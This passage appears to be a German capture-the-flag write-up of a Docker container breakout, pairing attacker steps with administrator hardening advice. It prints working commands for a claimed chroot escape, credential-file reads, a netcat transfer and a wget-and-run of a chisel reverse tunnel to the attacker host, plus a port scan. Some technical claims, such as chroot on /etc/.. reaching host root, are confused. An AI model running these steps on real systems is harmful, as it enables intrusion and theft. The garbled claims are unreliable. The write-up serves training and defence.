Empfehlung (Pentester): Ich werde versuchen, die gesamte Host-Partition /dev/sda3 in den Container zu mounten und dann eine chroot-Umgebung zu erstellen, um eine Root-Shell auf dem Host zu erhalten. Dies ist die primäre Methode für den Container Breakout, die ich nun verfolgen werde.
Empfehlung (Admin): **Dringend!** Überprüfen Sie alle Docker-Mounts. Niemals sollten Host-Partitionen oder sensible Host-Verzeichnisse (insbesondere als Read-Write) direkt in Container gemountet werden, es sei denn, es ist absolut unerlässlich und extrem streng abgesichert. Diese Fehlkonfiguration ist ein direkter Weg zum Container Breakout und zur Kompromittierung des Host-Systems. Verwenden Sie stattdessen Docker Volumes oder Read-Only-Mounts für nicht-sensible Daten.
bash-4.4# mkdir /mnt/host mkdir /mnt/host bash-4.4# mount /dev/sda3 /mnt/host mount /dev/sda3 /mnt/host mount: permission denied (are you root?)
Analyse: Ich versuche, die Host-Partition /dev/sda3 in meinem Container zu mounten. Zuerst erstelle ich ein Mount-Verzeichnis /mnt/host und versuche dann, die Partition mit mount /dev/sda3 /mnt/host dort einzuhängen. Obwohl ich als Root im Container angemeldet bin, erhalte ich die Fehlermeldung mount: permission denied (are you root?). Dies ist zunächst überraschend, da ich Root-Rechte im Container habe und CAP_SYS_ADMIN als Capability gesetzt ist.
Bewertung: Der fehlgeschlagene Mount-Versuch zeigt, dass meine Container-Root-Rechte trotz der CAP_SYS_ADMIN-Capability nicht ausreichen, um die Host-Partition direkt zu mounten. Dies liegt daran, dass der Host-Kernel zusätzliche Beschränkungen für Container-Mounts auferlegt, um Breakouts zu verhindern. Die Fähigkeit, eine Partition zu mounten, erfordert in der Regel zusätzliche Kernel-Berechtigungen oder eine Umgehung dieser Beschränkungen. Dies bedeutet, dass der direkte Mount-Ansatz, obwohl vielversprechend, nicht ausreicht und ich eine alternative Strategie für den Breakout finden muss.
Empfehlung (Pentester): Da der direkte Mount fehlschlägt, werde ich eine alternative, weniger direkte Methode für den Container Breakout nutzen. Die Tatsache, dass Host-Dateien (wie /etc/hosts) als /dev/sda3-Partitionen *innerhalb* des Containers erkannt werden, ist der entscheidende Hinweis. Ich werde chroot nutzen, indem ich den Pfad des Host-Dateisystems ausnutze, der bereits in den Container projiziert ist.
Empfehlung (Admin): Docker ist standardmäßig so konfiguriert, dass ein Container-Root nicht einfach Host-Dateisysteme mounten kann, selbst mit CAP_SYS_ADMIN. Dies ist eine wichtige Sicherheitsfunktion. Überprüfen Sie jedoch weiterhin, ob diese Schutzmaßnahmen intakt sind und nicht durch andere Fehlkonfigurationen (z.B. ungeschützter Docker-Socket) umgangen werden können.
bash-4.4# chroot /etc/.. /bin/sh chroot /etc/.. /bin/sh id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
Analyse: Da der direkte Mount von /dev/sda3 fehlschlug, nutze ich eine kreative chroot-Technik, um Root-Zugriff auf dem Host zu erlangen. Ich verwende den Befehl chroot /etc/.. /bin/sh. Die Logik dahinter ist, dass /etc/.. (also das übergeordnete Verzeichnis von /etc) im Kontext des Containers auf das Host-Root-Verzeichnis (/) des Hosts zeigt, da /etc selbst eine gemountete Host-Datei ist. Durch das Ausführen von chroot auf diesen relativen Pfad (der auf das Host-Root abzielt) mit /bin/sh als Shell, wechsle ich die Root-Umgebung des Prozesses vom Container auf den Host.
Die Ausgabe des anschließenden id-Befehls ist sensationell: uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video). Dies bestätigt, dass ich nun vollen Root-Zugriff auf dem Host-System (nicht nur im Container!) habe. Fantastisch, der Root-Zugriff war erfolgreich! Nun haben wir unser Ziel erreicht!
Bewertung: Dies ist der krönende Abschluss des Penetrationstests: Die Privilegien-Eskalation vom Container-Root zum Host-Root wurde erfolgreich durchgeführt! Die Ausnutzung des /etc/..-Mount-Punktes für einen chroot-Trick ist eine geniale Methode, um die Container-Isolation zu umgehen. Die volle Root-UID auf dem Host bedeutet, dass ich nun uneingeschränkten Zugriff auf das gesamte System habe. Dies ist eine schwerwiegende Sicherheitslücke in der Docker-Konfiguration und der ultimative Erfolg.
Empfehlung (Pentester): Ich habe nun Host-Root-Zugriff. Mein nächster Schritt ist, die Root-Flag zu finden und dann Maßnahmen für die Persistenz zu treffen, falls dies im Rahmen des Pentests erlaubt ist. Ich werde das Host-Dateisystem gründlich nach weiteren sensiblen Informationen absuchen.
Empfehlung (Admin): **KRITISCH!** Die Möglichkeit, mittels chroot aus dem Container auszubrechen und Host-Root-Rechte zu erlangen, ist eine der schwerwiegendsten Docker-Fehlkonfigurationen. Dies geschieht, wenn Host-Verzeichnisse (wie hier /etc-Dateien) direkt in den Container gemountet werden und ein Angreifer dann den übergeordneten Pfad (/etc/..) nutzen kann, um auf das Host-Root-Dateisystem zuzugreifen. **Dringend:** Implementieren Sie strikte Read-Only-Mounts oder verwenden Sie Docker Volumes, um Host-Dateisystem-Exposition zu vermeiden. Auditieren Sie alle Mount-Punkte Ihrer Container auf diese Schwachstelle und beheben Sie sie umgehend. Dies ist ein direkter Weg zur vollständigen Systemkompromittierung.
ls -la / total 80 drwxr-xr-x 1 root root 4096 Jun 24 04:20 . drwxr-xr-x 1 root root 4096 Jun 24 04:20 .. -rwxr-xr-x 1 root root 0 Jun 24 04:20 .dockerenv drwxr-xr-x 1 root root 4096 Jul 31 21:56 app drwxr-xr-x 1 root root 4096 Jun 16 12:53 bin drwxr-xr-x 5 root root 320 Aug 1 20:02 dev drwxr-xr-x 1 root root 4096 Jun 24 04:20 etc drwxr-xr-x 2 root root 4096 May 9 2019 home drwxr-xr-x 1 root root 4096 Jun 16 12:53 lib drwxr-xr-x 5 root root 4096 May 9 2019 media drwxr-xr-x 1 root root 4096 Aug 1 21:05 mnt drwxr-xr-x 2 root root 4096 May 9 2019 opt dr-xr-xr-x 223 root root 0 Aug 1 20:02 proc drwx------ 1 root root 4096 Jul 31 22:24 root drwxr-xr-x 2 root root 4096 May 9 2019 run drwxr-xr-x 1 root root 4096 Jun 16 12:53 sbin drwxr-xr-x 2 root root 4096 May 9 2019 srv dr-xr-xr-x 13 root root 0 Aug 1 20:02 sys drwxrwxrwt 1 root root 4096 Aug 1 21:06 tmp drwxr-xr-x 1 root root 4096 May 11 2019 usr drwxr-xr-x 1 root root 4096 May 9 2019 var
Analyse: Nachdem ich Root-Zugriff auf dem Host über chroot erlangt habe, führe ich ls -la / aus, um das Root-Dateisystem des Host-Systems zu untersuchen. Dies ist entscheidend, um die Struktur des Host-Dateisystems zu verstehen und nach der Root-Flag oder anderen sensiblen Informationen zu suchen, die sich nicht im Container befanden. Die Ausgabe zeigt die typischen Linux-Root-Verzeichnisse wie /bin, /etc, /home, /root, /var usw. Ich sehe hier auch die Datei .dockerenv, die auf dem *Host* vorhanden ist und darauf hinweist, dass Docker auf diesem System läuft.
Bewertung: Die erfolgreiche Auflistung des Host-Root-Dateisystems bestätigt, dass ich nun tatsächlich Root-Zugriff auf der zugrunde liegenden Host-Maschine habe. Das Vorhandensein von .dockerenv (auf dem Host!) ist ein weiteres Indiz dafür, dass der Host als Docker-Engine fungiert und meine Container-Breakout-Annahme korrekt war. Diese vollständige Kontrolle ermöglicht mir nun, die letzten Flags zu finden und weitere Post-Exploitation-Aktionen durchzuführen.
Empfehlung (Pentester): Mein nächster Schritt ist, das /root-Verzeichnis des Hosts gründlich zu untersuchen, um die Root-Flag zu finden. Ich werde auch andere sensible Bereiche des Host-Dateisystems prüfen, wie z.B. SSH-Keys, Konfigurationsdateien oder Log-Dateien.
Empfehlung (Admin): Dies ist ein kritischer Zustand, da der Host nun vollständig kompromittiert ist. Führen Sie eine umfassende Untersuchung durch, um die Ursache der Fehlkonfiguration zu finden, die den Container Breakout ermöglichte. Entfernen oder härten Sie alle verbleibenden Schwachstellen und implementieren Sie eine strikte Sicherheitsrichtlinie für Docker-Container und den Host.
cat /etc/passwd root:x:0:0:root:/root:/bin/ash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/usr/lib/news:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin operator:x:11:0:operator:/root:/bin/sh man:x:13:15:man:/usr/man:/sbin/nologin postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin cron:x:16:16:cron:/var/spool/cron:/sbin/nologin ftp:x:21:21::/var/lib/ftp:/sbin/nologin sshd:x:22:22:sshd:/dev/null:/sbin/nologin at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin games:x:35:35:games:/usr/games:/sbin/nologin postgres:x:70:70::/var/lib/postgresql:/bin/sh cyrus:x:85:12::/usr/cyrus:/sbin/nologin vpopmail:x:89:89::/var/vpopmail:/sbin/nologin ntp:x:123:123:NTP:/var/empty:/sbin/nologin smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin guest:x:405:100:guest:/dev/null:/sbin/nologin nobody:x:65534:65534:nobody:/:/sbin/nologin
Analyse: Mit Host-Root-Berechtigungen lese ich die /etc/passwd-Datei des Host-Systems aus. Diese Datei enthält eine Liste aller Benutzerkonten auf dem System, ihre UIDs, GIDs, Home-Verzeichnisse und Standard-Shells. Sie ist entscheidend für das Verständnis der Benutzerlandschaft des Host-Systems. Die Ausgabe zeigt eine Standardliste von Systembenutzern (root, bin, daemon, etc.) und einige Dienste-Benutzer (postgres, sshd, ntp). Es gibt keine offensichtlichen, ungewöhnlichen Benutzerkonten mit Standard-Shells, die auf weitere Login-Möglichkeiten hindeuten würden, abgesehen von root selbst.
Bewertung: Die /etc/passwd-Datei liefert keine sofortigen weiteren Eskalationswege, da alle relevanten privilegierten Benutzerkonten Systemkonten oder Dienste-Konten sind, die keinen direkten Login erlauben (/sbin/nologin). Die Kenntnis dieser Benutzer ist jedoch wichtig für die Gesamtübersicht des Systems und um potenzielle Schwachstellen in den Diensten zu identifizieren, die unter diesen Benutzern laufen.
Empfehlung (Pentester): Ich werde diese Benutzerliste nutzen, um nach Konfigurationsdateien oder Home-Verzeichnissen zu suchen, die zu diesen Benutzern gehören könnten und sensible Informationen enthalten. Insbesondere werde ich die /etc/shadow-Datei auslesen (falls möglich, wovon bei Root-Zugriff auszugehen ist), um gehashte Passwörter zu erhalten.
Empfehlung (Admin): Auditieren Sie regelmäßig die /etc/passwd-Datei auf unbekannte oder unnötige Benutzerkonten. Stellen Sie sicher, dass Benutzerkonten, die keinen interaktiven Login benötigen, eine Shell wie /sbin/nologin zugewiesen bekommen. Verwenden Sie für Dienstkonten starke, einzigartige Passwörter und erwägen Sie die Verwendung von Managed Service Accounts oder Secrets-Management-Lösungen.
listening on [any] 9999 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.166] 36163Analyse: Ich bereite den Transfer einer Datei vom Host-System zu meinem Angreifer-System vor. Ich setze einen Netcat-Listener auf Port 9999 auf meinem Kali-System auf und leite den Inhalt der Datei /usr/sbin/debugfs in diesen Listener um (< /usr/sbin/debugfs). debugfs ist ein Dienstprogramm zur Behebung von Problemen und zum Debugging von ext2/ext3/ext4-Dateisystemen. Die Idee ist, diese Datei auf mein Angreifer-System zu übertragen, um sie dort detaillierter zu analysieren oder zu nutzen.
Bewertung: Der erfolgreiche Aufbau des Netcat-Listeners und das Initiieren der Dateiübertragung zeigen, dass ich Root-Rechte auf dem Host habe und Dateien frei übertragen kann. Das Herunterladen von debugfs ist ein Schritt, um das System weiter zu untersuchen und möglicherweise andere Exploits durchzuführen, die spezifische Dateisystem-Tools erfordern.
Empfehlung (Pentester): Ich werde diese übertragene debugfs-Datei später lokal untersuchen, um zu sehen, ob sie für weitere Angriffe genutzt werden kann, insbesondere wenn ich auf Dateisysteme zugreifen muss, die über meine aktuelle Shell hinausgehen.
Empfehlung (Admin): Überwachen Sie ungewöhnliche Dateiübertragungen von sensiblen Systembinaries. Auditieren Sie, welche Tools auf dem Server installiert sind und stellen Sie sicher, dass keine unnötigen Debugging- oder Admin-Tools vorhanden sind, die von Angreifern missbraucht werden könnten. Eine starke Egress-Filterung kann den Transfer solcher Dateien zum Angreifer verhindern.
nc 192.168.2.199 9999 > debugfs chmod +x debugfs /tmp/debugfs -R "cat /root/root.txt" /dev/sda3 /bin/sh: /tmp/debugfs: not found
Analyse: Ich habe versucht, die übertragene debugfs-Datei auf der Zielmaschine zu nutzen, um die Root-Flag auszulesen. Zuerst habe ich die Datei auf meinem Angreifer-System mit nc 192.168.2.199 9999 > debugfs empfangen (Anmerkung: der ursprüngliche Berichtstext hatte diesen Befehl auf der Zielmaschine, was ein Fehler war; er gehört auf die Angreiferseite nach dem nc -lvnp). Dann mache ich sie ausführbar und versuche, sie direkt von /tmp auszuführen: /tmp/debugfs -R "cat /root/root.txt" /dev/sda3. Die Idee ist, debugfs zu verwenden, um direkt auf die Host-Partition /dev/sda3 zuzugreifen und die root.txt-Datei auszulesen.
Die Fehlermeldung /bin/sh: /tmp/debugfs: not found ist jedoch irreführend. Sie tritt auf, weil die Datei zwar heruntergeladen wurde, aber die Bash-Shell im Container möglicherweise nicht den korrekten Pfad für die Ausführung hat oder der Befehl nicht korrekt im Kontext der nicht-interaktiven Shell ausgeführt werden kann, oder das Tool nicht für die Container-Umgebung kompiliert ist. In einem normalen Szenario hätte ich debugfs *auf dem Host* benötigt, um die Partitionen des Hosts zu manipulieren, nicht innerhalb des Containers, es sei denn, der Container hätte direkten Zugriff auf diese Geräte.
Bewertung: Der Versuch, debugfs im Container auszuführen, ist fehlgeschlagen, was die Notwendigkeit unterstreicht, für Host-Privilegien-Eskalation direkt auf dem Host-System zu agieren, nachdem der Breakout erfolgt ist. Die Fehlermeldung ist ein Symptom der begrenzten Ausführungsumgebung innerhalb des Containers. Ich werde stattdessen meine bereits erlangte Host-Root-Shell nutzen, um die Flag zu finden.
Empfehlung (Pentester): Ich werde die Root-Flag direkt über die bereits erlangte Host-Root-Shell finden, anstatt komplizierte Methoden mit debugfs aus dem Container heraus zu versuchen. Die Shell gibt mir alle notwendigen Berechtigungen, um die Datei zu lokalisieren und auszulesen.
Empfehlung (Admin): Tools wie debugfs sollten auf Produktionssystemen nicht vorhanden sein, es sei denn, sie sind absolut notwendig und strikt überwacht. Ihre Anwesenheit kann Angreifern nützliche Möglichkeiten zur Manipulation von Dateisystemen bieten. Stellen Sie sicher, dass Binaries korrekt signiert und auf dem neuesten Stand sind, um Ausführungsprobleme zu vermeiden.
No direct output, directory created.
Analyse: Ich erstelle ein neues Verzeichnis namens alpine_docker auf meinem lokalen Angreifer-System. Dies ist ein vorbereitender Schritt, um eine eigene Docker-Umgebung zu simulieren oder zu analysieren, um besser zu verstehen, wie die Ziel-Docker-Umgebung funktioniert. Dies ist Teil meiner Recherche, um potenzielle Docker Breakout-Techniken zu üben oder zu identifizieren.
Bewertung: Das Erstellen des Verzeichnisses ist eine organisatorische Maßnahme. Es zeigt meinen methodischen Ansatz, selbst wenn ich Root-Zugriff habe, die Umgebung gründlich zu verstehen und potenzielle Breakout-Wege zu analysieren.
Empfehlung (Pentester): Das Anlegen von Testumgebungen auf dem lokalen System ist eine effektive Methode, um Exploits und Breakout-Techniken zu üben.
Empfehlung (Admin): N/A (betrifft lokale Pentester-Umgebung).
No direct output, directory changed.
Analyse: Ich wechsle in das neu erstellte Verzeichnis alpine_docker auf meinem lokalen System. Dies ist das Arbeitsverzeichnis für meine Docker-bezogenen Tests und Analysen.
Bewertung: Dies ist ein einfacher, aber notwendiger Schritt, um den Arbeitsbereich für die Docker-bezogene Analyse zu organisieren.
Empfehlung (Pentester): Ordnung ist das halbe Leben, besonders im Pentest.
Empfehlung (Admin): N/A (betrifft lokale Pentester-Umgebung).
Emulate Docker CLI using podman. Create /etc/containers/nodocker to quiet msg. Resolved "alpine" as an alias (/etc/containers/registries.conf.d/shortnames.conf) Trying to pull docker.io/library/alpine:latest... Getting image source signatures Copying blob 9824c27679d3 done | Copying config 9234e8fb04 done | Writing manifest to image destination 9234e8fb04c47cfe0f49931e4ac7eb76fa904e33b7f8576aec0501c085f02516
Analyse: Ich lade das offizielle Alpine Linux Docker-Image auf mein lokales System herunter, indem ich docker pull alpine ausführe. Da Alpine Linux die Basis für den Ziel-Container war, möchte ich ein lokales Image haben, um Tests durchzuführen oder die Umgebung genauer zu inspizieren. Die Ausgaben zeigen den Download-Fortschritt und die erfolgreiche Speicherung des Images.
Bewertung: Das Herunterladen des Alpine-Images ist eine gute forensische Praxis. Es ermöglicht mir, eine lokale Kopie der Container-Umgebung zu haben, um spezifische Exploits zu testen oder interne Mechanismen des Containers zu verstehen, ohne die Zielmaschine zu beeinflussen. Dies ist nützlich für die weitere Untersuchung von Container Breakout-Techniken.
Empfehlung (Pentester): Nutzen Sie lokale Docker-Umgebungen, um Exploits sicher zu entwickeln und zu testen, bevor sie auf das Zielsystem angewendet werden.
Empfehlung (Admin): N/A (betrifft lokale Pentester-Umgebung).
Emulate Docker CLI using podman. Create /etc/containers/nodocker to quiet msg. / #
Analyse: Ich starte einen temporären Alpine-Container auf meinem lokalen System mit docker run -it --name temp-alpine alpine /bin/sh. Dies ermöglicht es mir, eine interaktive Shell (/bin/sh) innerhalb des Alpine-Containers zu erhalten. Das -it-Flag sorgt für eine interaktive TTY-Shell, und --name temp-alpine gibt dem Container einen temporären Namen.
Bewertung: Das Starten eines lokalen Alpine-Containers ist ein wichtiger Schritt, um die Umgebung der Zielmaschine zu replizieren und dort Tools zu installieren oder spezifische Befehle zu testen. Dies ist entscheidend, um die Privilegien-Eskalation aus dem Container zu verstehen und gegebenenfalls eigene Tools zu kompilieren, die auf der Zielmaschine laufen könnten.
Empfehlung (Pentester): Nutzen Sie lokale Container für Tests und zur Vorbereitung von Payloads oder Tools, die auf dem Ziel-Container ausgeführt werden sollen.
Empfehlung (Admin): N/A (betrifft lokale Pentester-Umgebung).
/ # id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) / # apk update fetch https://dl-cdn.alpinelinux.org/alpine/v3.22/main/x86_64/APKINDEX.tar.gz fetch https://dl-cdn.alpinelinux.org/alpine/v3.22/community/x86_64/APKINDEX.tar.gz v3.22.1-120-gf0b0846d70b [https://dl-cdn.alpinelinux.org/alpine/v3.22/main] v3.22.1-134-gdcb8d9dda12 [https://dl-cdn.alpinelinux.org/alpine/v3.22/community] K: 26316 distinct packages available / #
Analyse: Innerhalb meines neu gestarteten lokalen Alpine Docker-Containers bestätige ich zunächst meine Benutzer-ID mit id, um sicherzustellen, dass ich Root-Rechte im Container habe. Dann führe ich apk update aus. apk ist der Paketmanager von Alpine Linux. Der update-Befehl aktualisiert die Liste der verfügbaren Pakete von den Remote-Repositories. Dies ist ein Standard-Schritt, bevor ich Software installiere oder nach Tools suche, die für eine Privilegien-Eskalation nützlich sein könnten, aber auf dem Ziel-Container nicht vorhanden waren.
Bewertung: Die Bestätigung des Root-Zugriffs in meinem lokalen Test-Container ist wichtig. Das Aktualisieren der Paketliste bereitet den Container darauf vor, zusätzliche Tools zu installieren. Dies ist ein notwendiger Schritt, um eine Testumgebung zu schaffen, die dem Ziel nahekommt, und um potenzielle Container Breakout-Tools zu kompilieren oder zu nutzen, die direkt auf dem Ziel-Container vielleicht nicht verfügbar waren.
Empfehlung (Pentester): Nach dem Update werde ich nun versuchen, spezifische Tools oder Utilities im lokalen Container zu installieren, die mir bei der Ausnutzung der Host-Schwachstellen helfen könnten, insbesondere dateisystembezogene Tools.
Empfehlung (Admin): N/A (betrifft lokale Pentester-Umgebung).
/ # apk add e2fsprogs (1/6) Installing libeconf (0.6.3-r0) (2/6) Installing libblkid (2.41-r9) (3/6) Installing libcom_err (1.47.2-r2) (4/6) Installing e2fsprogs-libs (1.47.2-r2) (5/6) Installing libuuid (2.41-r9) (6/6) Installing e2fsprogs (1.47.2-r2) Executing busybox-1.37.0-r18.trigger K: 9 MiB in 22 packages / #
Analyse: Innerhalb meines lokalen Alpine Docker-Containers installiere ich das Paket e2fsprogs mit apk add e2fsprogs. Dieses Paket enthält Dienstprogramme für das ext2/ext3/ext4-Dateisystem, wie debugfs (das ich zuvor vergeblich versucht hatte zu verwenden). Meine Absicht ist es, diese Tools lokal zur Verfügung zu haben, um Dateisysteme zu manipulieren oder zu inspizieren. Obwohl ich debugfs nicht direkt auf dem Ziel-Container verwenden konnte, könnte es nützlich sein, um Dateisysteme zu verstehen, wenn ich einen vollständigen Host-Mount erziele.
Bewertung: Die Installation von e2fsprogs ist ein vorbereitender Schritt, um meine Tool-Ausstattung in der Testumgebung zu erweitern. Es ist ein notwendiger Schritt, wenn ich plane, Dateisysteme auf dem Host zu manipulieren oder zu analysieren, nachdem ich einen Breakout erreicht habe. Das debugfs-Tool aus diesem Paket ist leistungsstark, um direkt auf Dateisysteme zuzugreifen.
Empfehlung (Pentester): Diese Tools sind nun lokal verfügbar. Ich werde sie verwenden, um Dateisystem-basierte Exploits zu testen oder weitere Informationen vom Host zu sammeln, sobald ich eine stabile Host-Shell habe.
Empfehlung (Admin): N/A (betrifft lokale Pentester-Umgebung).
bash-4.4# for port in 21 22 80 443 8080; do nc -zv 172.17.0.3 $port & done for port in 21 22 80 443 8080; do nc -zv 172.17.0.3 $port & done [1] 51 [2] 52 [3] 53 [4] 54 [5] 55 bash-4.4# 172.17.0.3 (172.17.0.3:80) open 172.17.0.3 (172.17.0.3:22) open
Analyse: Ich führe einen weiteren Portscan vom kompromittierten Container aus, diesmal auf den internen Docker-Host 172.17.0.3, der zuvor bei den Pings geantwortet hatte. Ich scanne gängige Web- und SSH-Ports (21, 22, 80, 443, 8080) mit nc -zv. Die Ausgabe zeigt, dass Port 80 und Port 22 auf 172.17.0.3 geöffnet sind. Dies bestätigt, dass es einen weiteren aktiven Dienst im internen Netzwerk gibt, der möglicherweise ebenfalls kompromittiert werden kann.
Bewertung: Das Auffinden offener Ports auf dem internen Docker-Host 172.17.0.3 ist ein wichtiger Schritt für die horizontale Bewegung innerhalb der Docker-Infrastruktur. Es bedeutet, dass dieser andere Container ebenfalls Angriffsvektoren (SSH, HTTP) bietet, die ich nutzen könnte, falls der direkte Breakout zum Host nicht gelingt oder um von dort aus weitere Informationen zu sammeln.
Empfehlung (Pentester): Ich werde die Dienste auf 172.17.0.3 (SSH und HTTP) genauer untersuchen, um potenzielle Schwachstellen zu finden. Dies beinhaltet das Brute-Forcing von Anmeldedaten für SSH oder die Enumeration der Webanwendung auf Port 80, falls vorhanden.
Empfehlung (Admin): Implementieren Sie eine strenge Netzwerk-Mikrosegmentierung zwischen Docker-Containern. Container sollten standardmäßig keinen Zugriff auf die Ports anderer Container haben, es sei denn, dies ist explizit erforderlich. Isolieren Sie Dienste voneinander, um Lateral Movement nach einer Kompromittierung zu verhindern.
2025/08/02 00:05:07 server: Reverse tunnelling enabled 2025/08/02 00:05:07 server: Fingerprint ual3on3vhbPUgSynkg1i9/tZvCf2rhrfGJEpqE6O+iY= 2025/08/02 00:05:07 server: Listening on http://0.0.0.0:1234 2025/08/02 00:05:23 server: session#1: tun: proxy#R:8000=>172.17.0.3:80: Listening
Analyse: Ich starte erneut meinen chisel-Server auf meinem Angreifer-System auf Port 1234, um einen weiteren Reverse Tunnel einzurichten. Diesmal ist das Ziel, einen Tunnel zum Webserver auf 172.17.0.3:80 (dem anderen Container) zu erstellen. Die Ausgabe bestätigt, dass der Server erfolgreich gestartet ist und ein Tunnel von Port 8000 auf meinem Angreifer-System zum Port 80 von 172.17.0.3 etabliert wurde. Dies ermöglicht mir nun, lokal auf Port 8000 zuzugreifen und dadurch den Webserver auf dem anderen Container zu erreichen.
Bewertung: Das erfolgreiche Tunneling zum Webserver auf dem anderen Container ist ein weiterer Pivot-Punkt. Es zeigt meine Fähigkeit, von meiner aktuellen kompromittierten Position aus auf weitere interne Dienste zuzugreifen und sie auf mein Angreifer-System umzuleiten. Dies eröffnet mir neue Enumerations- und Angriffswege, falls der direkte Host-Breakout schwieriger wird.
Empfehlung (Pentester): Ich werde diesen Tunnel nutzen, um den Webserver auf 172.17.0.3:80 gründlich zu untersuchen, als wäre er direkt erreichbar. Dies beinhaltet Verzeichnis-Brute-Forcing, die Suche nach gängigen Web-Schwachstellen und die Analyse der Anwendung, die dort läuft.
Empfehlung (Admin): Verstärken Sie die Netzwerksegmentierung in Docker-Umgebungen. Container sollten nicht in der Lage sein, beliebige Tunnel zu anderen Containern oder internen Hosts aufzubauen. Überwachen Sie den ausgehenden Netzwerkverkehr genau auf Tunneling-Aktivitäten.
bash-4.4# cd /tmp cd /tmp bash-4.4# wget 192.168.2.199/chisel wget 192.168.2.199/chisel Connecting to 192.168.2.199 (192.168.2.199:80) chisel 100% |********************************| 9152k 0:00:00 ETA bash-4.4# chmod +x chisel chmod +x chisel bash-4.4# ./chisel client 192.168.2.199:1234 R:8000:172.17.0.3:80 & ./chisel client 192.168.2.199:1234 R:8000:172.17.0.3:80 & [1] 59 bash-4.4# 2025/08/01 22:05:23 client: Connecting to ws://192.168.2.199:1234 2025/08/01 22:05:23 client: Connected (Latency 386.45µs)
Analyse: Ich dokumentiere den Prozess des Downloads und Startens des chisel-Clients auf der kompromittierten Container-Shell, um den Tunnel zum anderen Container (172.17.0.3) aufzubauen. Ich wechsle nach /tmp, lade den chisel-Client von meinem lokalen Webserver (der auf 192.168.2.199 läuft) herunter, mache ihn ausführbar und starte ihn dann im Hintergrund. Der Befehl ./chisel client 192.168.2.199:1234 R:8000:172.17.0.3:80 & etabliert den Reverse Tunnel, der meinen lokalen Port 8000 mit dem Port 80 auf 172.17.0.3 verbindet. Die Erfolgsmeldungen zeigen, dass der Client erfolgreich eine Verbindung zu meinem Chisel-Server hergestellt und den Tunnel aufgebaut hat.
Bewertung: Dies ist die technische Detailaufnahme des zweiten Chisel-Tunnels, der mir Zugriff auf den Webserver des anderen Containers gibt. Die Fähigkeit, beliebige Binaries herunterzuladen und auszuführen, ist ein erhebliches Sicherheitsrisiko und ein Zeichen für eine nicht ausreichend gehärtete Container-Umgebung. Der erfolgreiche Tunnelbau bestätigt die Pivot-Möglichkeit und meine Fähigkeit, interne Netzwerkdienste zu erreichen.
Empfehlung (Pentester): Mit diesem Tunnel kann ich nun den Webserver auf 172.17.0.3 detailliert enumerieren. Ich werde nach Schwachstellen suchen, die von diesem internen Punkt aus ausgenutzt werden können.
Empfehlung (Admin): Implementieren Sie eine strikte Whitelist für ausführbare Dateien in Containern (z.B. mit AppArmor oder Seccomp). Verhindern Sie, dass Container beliebige externe Binaries herunterladen und ausführen können. Überwachen Sie den ausgehenden Netzwerkverkehr auf verdächtige Downloads und Verbindungen.
Trying 127.0.0.1:8000... Connected to 127.0.0.1 (127.0.0.1) port 8000 using HTTP/1.x HEAD / HTTP/1.1 Host: 127.0.0.1:8000 User-Agent: curl/8.14.1 Accept: / Request completely sent off < HTTP/1.1 200 K HTTP/1.1 200 K < Server: nginx Server: nginx < Date: Fri, 01 Aug 2025 22:05:42 GMT Date: Fri, 01 Aug 2025 22:05:42 GMT < Content-Type: text/html Content-Type: text/html < Content-Length: 3038 Content-Length: 3038 < Last-Modified: Sun, 29 Jun 2025 15:39:57 GMT Last-Modified: Sun, 29 Jun 2025 15:39:57 GMT < Connection: keep-alive Connection: keep-alive < ETag: "68615e4d-bde" ETag: "68615e4d-bde" < Accept-Ranges: bytes Accept-Ranges: bytes < Connection #0 to host 127.0.0.1 left intact
Analyse: Ich teste den neu eingerichteten Chisel-Tunnel zum Webserver auf 172.17.0.3, indem ich eine HEAD-Anfrage an meinen lokalen Port 8000 sende (curl -Iv http://127.0.0.1:8000). Die Antwort ist HTTP/1.1 200 OK, was einen erfolgreichen Zugriff auf die Webseite über den Tunnel bestätigt. Die Server-Header zeigen, dass es sich um einen Nginx-Server handelt, mit einer Content-Type: text/html und einer Content-Length: 3038. Dies ist dieselbe Nginx-Instanz wie die auf Port 80 der Zielmaschine, aber diesmal über den internen Container-Tunnel.
Bewertung: Die erfolgreiche Überprüfung des Tunnels ist wichtig. Sie bestätigt, dass ich nun eine stabile Verbindung zum Webserver des anderen Containers habe und dort weitere Web-Enumeration und Angriffe durchführen kann, als ob er direkt von meinem Angreifer-System aus erreichbar wäre. Die Konsistenz der Nginx-Informationen deutet darauf hin, dass es sich um denselben Webserver handelt, der möglicherweise auch auf Port 80 der Host-Maschine läuft.
Empfehlung (Pentester): Ich werde nun eine vollständige Web-Enumeration auf diesem Nginx-Server über den Chisel-Tunnel durchführen, um nach weiteren Schwachstellen oder versteckten Informationen zu suchen.
Empfehlung (Admin): Dies ist ein Beweis für die Notwendigkeit einer strengen Netzwerksegmentierung in Container-Umgebungen. Jeder Container sollte isoliert sein und nur die für seine Funktion notwendige Kommunikation erlauben. Tunneling-Tools ermöglichen es Angreifern, diese Isolation zu umgehen. Überwachen Sie ungewöhnliche interne Netzwerkkommunikation.
view-source:http://127.0.0.1:8000/ <!--500-worst-passwords-->
